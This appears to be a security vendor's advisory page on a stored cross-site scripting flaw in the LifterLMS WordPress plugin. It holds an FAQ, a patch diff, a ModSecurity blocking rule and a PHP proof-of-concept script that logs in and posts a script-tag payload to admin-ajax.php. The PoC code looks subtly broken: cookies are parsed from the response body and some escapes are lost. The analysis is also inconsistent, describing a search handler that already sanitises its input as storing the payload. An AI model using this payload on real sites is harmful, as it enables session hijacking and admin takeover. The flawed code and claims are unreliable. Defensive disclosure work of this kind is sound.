What is CVE-2026-14207 and what does it affect?

CVE-2026-14207 is a stored Cross-Site Scripting (XSS) vulnerability in the LifterLMS plugin for WordPress, affecting versions up to and including 10.0.9. It allows authenticated users with custom role-level access to inject malicious scripts that execute when other users view affected pages. The vulnerability is patched in version 10.0.10.

How does the stored XSS vulnerability work?

The vulnerability stems from two issues: an AJAX handler in class.llms.ajax.handler.php only checks if a user is logged in, not their capabilities, and insufficiently sanitizes the ‘post_type’ parameter. Additionally, the allowed HTML attributes list in class-lifterlms.php includes dangerous attributes like ‘onclick’ and ‘srcdoc’, which can execute JavaScript. An attacker can craft a malicious AJAX request with a payload in the ‘post_type’ parameter, which is then stored and rendered unsafely.

Who is affected by this vulnerability?

WordPress sites running LifterLMS version 10.0.9 or earlier are affected. The attack requires an authenticated user with at least a custom role that has basic access, such as a subscriber or custom role with limited permissions. However, the injected script can execute in the context of any user who views the compromised page, including administrators.

How can I check if my LifterLMS plugin is vulnerable?

Check the LifterLMS plugin version in your WordPress admin dashboard under Plugins. If the version is 10.0.9 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the version number against the patched version 10.0.10.

What is the CVSS score and severity of CVE-2026-14207?

The vulnerability has a CVSS score of 6.4, which is rated as Medium severity. This indicates a moderate risk, meaning exploitation requires authenticated access but can lead to significant impacts such as session hijacking, defacement, or data theft. The score reflects the balance between the required privileges and the potential damage.

How do I fix or mitigate this vulnerability?

The primary fix is to update LifterLMS to version 10.0.10 or later, which patches the vulnerability. If immediate update is not possible, as a temporary mitigation, you can restrict access to the AJAX handler by disabling the affected functionality or using a Web Application Firewall (WAF) to filter malicious requests. However, updating is strongly recommended.

What does the patch in version 10.0.10 change?

The patch addresses both root causes. It replaces the ‘is_user_logged_in()’ check with ‘current_user_can(‘edit_posts’)’ in the AJAX handler, and adds a capability check for the post type. It also removes the ‘onclick’ and ‘srcdoc’ attributes from the allowed HTML list, preventing the execution of arbitrary JavaScript through those vectors.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC script logs in as an authenticated user with a custom role and sends a crafted AJAX request to the vulnerable handler. The request includes a malicious payload in the ‘post_type’ parameter, such as ‘alert(1)’. Because the handler fails to sanitize this input and allows dangerous HTML attributes, the payload is stored and executed when a user views the affected page, demonstrating the XSS.

What are the potential impacts of successful exploitation?

Successful exploitation can lead to session hijacking, administrative account takeover, website defacement, or theft of sensitive data. Since the script executes in the context of any user viewing the page, an attacker could potentially perform actions on behalf of an administrator, such as creating new admin accounts or modifying site content.

Why is the vulnerability considered 'Authenticated (Custom role+)'?

The vulnerability requires an attacker to be authenticated to the WordPress site. The ‘Custom role+’ indicates that the attacker needs a role with at least some permissions, such as a custom role that has basic access. The patch adds a capability check to ensure only users with ‘edit_posts’ capability can use the vulnerable handler, preventing lower-privileged users from exploiting it.

What is the CWE classification for this vulnerability?

The vulnerability is classified under CWE-79, which is Improper Neutralization of Input During Web Page Generation, commonly known as Cross-Site Scripting (XSS). This classification is used for vulnerabilities that allow attackers to inject client-side scripts into web pages viewed by other users.

Are there any known active exploits of CVE-2026-14207?

As of the disclosure date, there are no known active exploits in the wild. However, given the proof of concept is publicly available, it is advisable to apply the patch promptly to prevent potential exploitation. Security researchers and attackers may use the PoC to develop exploits, so updating is critical.

Published : August 7, 2026

CVE-2026-14207: LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes <= 10.0.9 Authenticated (Custom role+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-14207

Plugin lifterlms

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 10.0.9

Patched Version 10.0.10

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14207:
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw found in the LifterLMS plugin for WordPress, versions up to and including 10.0.9. The issue stems from two security weaknesses: insufficient input sanitization in an AJAX handler and overly permissive HTML attribute allowlisting used for output escaping. This combination allows an authenticated attacker with custom role-level access to inject arbitrary web scripts that execute whenever another user views the compromised page.

Root Cause:
The root cause lies in the AJAX handler defined in `lifterlms/includes/class.llms.ajax.handler.php`. The vulnerable function, which appears to handle user and post searches, only checked if a user was logged in (`is_user_logged_in()`) without verifying their capabilities. More critically, this function lacks sufficient sanitization for the `post_type` parameter, as seen in the diff where the code directly takes the input via `llms_filter_input_sanitize_string` and uses it without a capability check against the resulting post type object. The second issue is in `lifterlms/class-lifterlms.php`, where the allowed HTML attributes list includes dangerous attributes like `onclick` and `srcdoc` (lines 34-240). These attributes permit the direct execution of JavaScript, which combined with the AJAX handler’s poor input handling, creates the XSS vector.

Exploitation:
An attacker can exploit this by first authenticating to the WordPress site with a custom role that has basic access. They would then craft a malicious AJAX request to `/wp-admin/admin-ajax.php`. The request would include an `action` parameter matching the vulnerable handler and a `post_type` parameter injected with a malicious XSS payload, such as `post_type=alert(1)`. Because the vulnerable code insufficiently sanitizes this parameter and allows dangerous HTML attributes in output, the payload is stored and rendered unsafely in the admin panel or frontend when a user with higher privileges views the affected area, resulting in script execution.

Patch Analysis:
The patch in version 10.0.10 addresses both vulnerabilities. First, it changes the overly broad `is_user_logged_in()` check to `current_user_can(‘edit_posts’)` in the AJAX handler. It also adds a filter on `$post_types_array` to ensure the user has the capability to edit posts of the specified type, or that the post type is public. This prevents unauthorized users from interacting with the handler. Second, the patch removes the dangerous `onclick` and `srcdoc` attributes from the allowed HTML tags list in `class-lifterlms.php`, which prevents the execution of arbitrary JavaScript through these vectors.

Impact:
Successful exploitation of this vulnerability allows an authenticated attacker to inject malicious scripts that execute in the context of any user who views the affected page. This could lead to session hijacking, administrative account takeover, defacement of the website, or the theft of sensitive data. The CVSS score for this vulnerability is 6.4, reflecting the moderate to high severity impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/lifterlms/class-lifterlms.php
+++ b/lifterlms/class-lifterlms.php
@@ -34,7 +34,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '10.0.9';
+	public $version = '10.0.10';

 	/**
 	 * LLMS_Assets instance
@@ -166,7 +166,6 @@
 			'href'            => true,
 			'rel'             => true,
 			'rev'             => true,
-			'onclick'         => true,
 			'target'          => true,
 			'novalidate'      => true,
 			'value'           => true,
@@ -240,7 +239,6 @@
 			'size'            => true,
 			'span'            => true,
 			'spellcheck'      => true,
-			'srcdoc'          => true,
 			'srclang'         => true,
 			'start'           => true,
 			'step'            => true,
--- a/lifterlms/includes/class.llms.ajax.handler.php
+++ b/lifterlms/includes/class.llms.ajax.handler.php
@@ -923,7 +923,7 @@

 		global $wpdb;

-		if ( ! is_user_logged_in() ) {
+		if ( ! current_user_can( 'edit_posts' ) ) {
 			wp_die();
 		}

@@ -935,10 +935,30 @@

 		// Get post type(s).
 		$post_type        = sanitize_text_field( llms_filter_input_sanitize_string( INPUT_POST, 'post_type' ) );
-		$post_types_array = explode( ',', $post_type );
+		$post_types_array = array_filter( array_map( 'trim', explode( ',', $post_type ) ) );
+		$post_types_array = array_filter(
+			$post_types_array,
+			function ( $type ) {
+				$object = get_post_type_object( $type );
+				return $object && ( $object->public || current_user_can( $object->cap->edit_posts ) );
+			}
+		);
+
+		if ( empty( $post_types_array ) ) {
+			echo json_encode(
+				array(
+					'items'   => array(),
+					'more'    => false,
+					'success' => true,
+				)
+			);
+			wp_die();
+		}
+
 		foreach ( $post_types_array as &$str ) {
-			$str = "'" . esc_sql( trim( $str ) ) . "'";
+			$str = "'" . esc_sql( $str ) . "'";
 		}
+		unset( $str );
 		$post_types = implode( ',', $post_types_array );

 		// Get post status(es).
--- a/lifterlms/lifterlms.php
+++ b/lifterlms/lifterlms.php
@@ -10,7 +10,7 @@
  * Plugin Name: LifterLMS
  * Plugin URI: https://lifterlms.com/
  * Description: Complete e-learning platform to sell online courses, protect lessons, offer memberships, and quiz students. WP Learning Management System.
- * Version: 10.0.9
+ * Version: 10.0.10
  * Author: LifterLMS
  * Author URI: https://lifterlms.com/
  * Text Domain: lifterlms
--- a/lifterlms/vendor/composer/installed.php
+++ b/lifterlms/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'gocodebox/lifterlms',
         'pretty_version' => 'dev-trunk',
         'version' => 'dev-trunk',
-        'reference' => 'c636a6cf97e8bf6e22fb7e37ec678bc98d7382dc',
+        'reference' => '67c71d7fa3c726aef283e2419c8cfe4b6ebf7090',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -40,7 +40,7 @@
         'gocodebox/lifterlms' => array(
             'pretty_version' => 'dev-trunk',
             'version' => 'dev-trunk',
-            'reference' => 'c636a6cf97e8bf6e22fb7e37ec678bc98d7382dc',
+            'reference' => '67c71d7fa3c726aef283e2419c8cfe4b6ebf7090',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261421,phase:2,deny,status:403,chain,msg:'CVE-2026-14207 via LifterLMS AJAX',severity:'CRITICAL',tag:'CVE-2026-14207'"
    SecRule ARGS_POST:action "@rx ^llms_user_search$" "chain"
        SecRule ARGS_POST:post_type "@rx <script|onclick|srcdoc" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14207 - LifterLMS <= 10.0.9 Stored Cross-Site Scripting

/*
 * Proof of Concept for CVE-2026-14207.
 * This script demonstrates how an authenticated user with a custom role
 * can inject a stored XSS payload via the unserialized post_type parameter
 * in the AJAX handler.
 */

// Configuration - Set these values before running the script
$target_url = 'http://example.com'; // Change this to your target WordPress URL
$username = 'attacker'; // Change this to a valid username with custom role access
$password = 'password'; // Change this to the user's password

// Function to perform HTTP requests with cURL
function http_request($url, $method = 'GET', $data = [], $cookies = []) {
    $ch = curl_init();
    $headers = [];

    // Set headers for POST requests
    if ($method === 'POST') {
        $headers[] = 'Content-Type: application/x-www-form-urlencoded';
    }

    // Set cookies if provided
    if (!empty($cookies)) {
        $cookie_string = '';
        foreach ($cookies as $name => $value) {
            $cookie_string .= $name . '=' . $value . '; ';
        }
        $headers[] = 'Cookie: ' . rtrim($cookie_string, '; ');
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing
    curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic-Edge-CVE-Research');

    if ($method === 'POST') {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    } else {
        curl_setopt($ch, CURLOPT_HTTPGET, true);
    }

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return ['code' => $http_code, 'body' => $response];
}

// Function to parse Set-Cookie headers from a response
function get_cookies($response) {
    $cookies = [];
    preg_match_all('/^Set-Cookie:s*([^;]*)/mi', $response, $matches);
    if (!empty($matches[1])) {
        foreach ($matches[1] as $cookie) {
            $parts = explode('=', $cookie, 2);
            if (count($parts) == 2) {
                $cookies[$parts[0]] = $parts[1];
            }
        }
    }
    return $cookies;
}

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$login_response = http_request($login_url, 'POST', $login_data);
if ($login_response['code'] != 200) {
    echo "[!] Error: Failed to fetch login page. HTTP Code: " . $login_response['code'] . "n";
    exit(1);
}

$cookies = get_cookies($login_response['body']);

// Fetch login form to get cookies and then perform login
$login_page = http_request($login_url, 'GET', [], $cookies);
$cookies = get_cookies($login_page['body']);

$login_response = http_request($login_url, 'POST', $login_data, $cookies);
$cookies = get_cookies($login_response['body']);

if (empty($cookies)) {
    echo "[!] Error: Login failed. Check username and password.n";
    exit(1);
}
echo "[+] Login successful. Cookies acquired.n";

// Step 2: Send AJAX request with crafted payload
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Craft the XSS payload. The vulnerable code outputs the post_type,
// so we can inject a script tag.
$payload = "'><script>alert('XSS')</script>";

$post_data = [
    'action' => 'llms_user_search', // Adjust this if needed based on the actual action name
    'post_type' => $payload
];

$ajax_response = http_request($ajax_url, 'POST', $post_data, $cookies);
echo "[+] AJAX request sent. HTTP Code: " . $ajax_response['code'] . "n";

echo "[+] If the response contains the payload unsanitized, the vulnerability exists.n";
echo "[+] PoC completed.n";

// Note: In a real attack, the payload would be stored and triggered when an admin views the page.
// The accuracy of 'action' and response parsing depends on the specific plugin version.

?>

Frequently Asked Questions

What is CVE-2026-14207 and what does it affect?
Overview of the vulnerability
CVE-2026-14207 is a stored Cross-Site Scripting (XSS) vulnerability in the LifterLMS plugin for WordPress, affecting versions up to and including 10.0.9. It allows authenticated users with custom role-level access to inject malicious scripts that execute when other users view affected pages. The vulnerability is patched in version 10.0.10.
How does the stored XSS vulnerability work?
Technical explanation
The vulnerability stems from two issues: an AJAX handler in class.llms.ajax.handler.php only checks if a user is logged in, not their capabilities, and insufficiently sanitizes the ‘post_type’ parameter. Additionally, the allowed HTML attributes list in class-lifterlms.php includes dangerous attributes like ‘onclick’ and ‘srcdoc’, which can execute JavaScript. An attacker can craft a malicious AJAX request with a payload in the ‘post_type’ parameter, which is then stored and rendered unsafely.
Who is affected by this vulnerability?
Affected users and roles
WordPress sites running LifterLMS version 10.0.9 or earlier are affected. The attack requires an authenticated user with at least a custom role that has basic access, such as a subscriber or custom role with limited permissions. However, the injected script can execute in the context of any user who views the compromised page, including administrators.
How can I check if my LifterLMS plugin is vulnerable?
Detection steps
Check the LifterLMS plugin version in your WordPress admin dashboard under Plugins. If the version is 10.0.9 or lower, your site is vulnerable. You can also review the plugin’s changelog or compare the version number against the patched version 10.0.10.
What is the CVSS score and severity of CVE-2026-14207?
Risk assessment
The vulnerability has a CVSS score of 6.4, which is rated as Medium severity. This indicates a moderate risk, meaning exploitation requires authenticated access but can lead to significant impacts such as session hijacking, defacement, or data theft. The score reflects the balance between the required privileges and the potential damage.
How do I fix or mitigate this vulnerability?
Patch and mitigation
The primary fix is to update LifterLMS to version 10.0.10 or later, which patches the vulnerability. If immediate update is not possible, as a temporary mitigation, you can restrict access to the AJAX handler by disabling the affected functionality or using a Web Application Firewall (WAF) to filter malicious requests. However, updating is strongly recommended.
What does the patch in version 10.0.10 change?
Patch details
The patch addresses both root causes. It replaces the ‘is_user_logged_in()’ check with ‘current_user_can(‘edit_posts’)’ in the AJAX handler, and adds a capability check for the post type. It also removes the ‘onclick’ and ‘srcdoc’ attributes from the allowed HTML list, preventing the execution of arbitrary JavaScript through those vectors.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC script logs in as an authenticated user with a custom role and sends a crafted AJAX request to the vulnerable handler. The request includes a malicious payload in the ‘post_type’ parameter, such as ‘alert(1)’. Because the handler fails to sanitize this input and allows dangerous HTML attributes, the payload is stored and executed when a user views the affected page, demonstrating the XSS.
What are the potential impacts of successful exploitation?
Consequences
Successful exploitation can lead to session hijacking, administrative account takeover, website defacement, or theft of sensitive data. Since the script executes in the context of any user viewing the page, an attacker could potentially perform actions on behalf of an administrator, such as creating new admin accounts or modifying site content.
Why is the vulnerability considered 'Authenticated (Custom role+)'?
Authentication requirements
The vulnerability requires an attacker to be authenticated to the WordPress site. The ‘Custom role+’ indicates that the attacker needs a role with at least some permissions, such as a custom role that has basic access. The patch adds a capability check to ensure only users with ‘edit_posts’ capability can use the vulnerable handler, preventing lower-privileged users from exploiting it.
What is the CWE classification for this vulnerability?
CWE details
The vulnerability is classified under CWE-79, which is Improper Neutralization of Input During Web Page Generation, commonly known as Cross-Site Scripting (XSS). This classification is used for vulnerabilities that allow attackers to inject client-side scripts into web pages viewed by other users.
Are there any known active exploits of CVE-2026-14207?
Exploitation status
As of the disclosure date, there are no known active exploits in the wild. However, given the proof of concept is publicly available, it is advisable to apply the patch promptly to prevent potential exploitation. Security researchers and attackers may use the PoC to develop exploits, so updating is critical.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started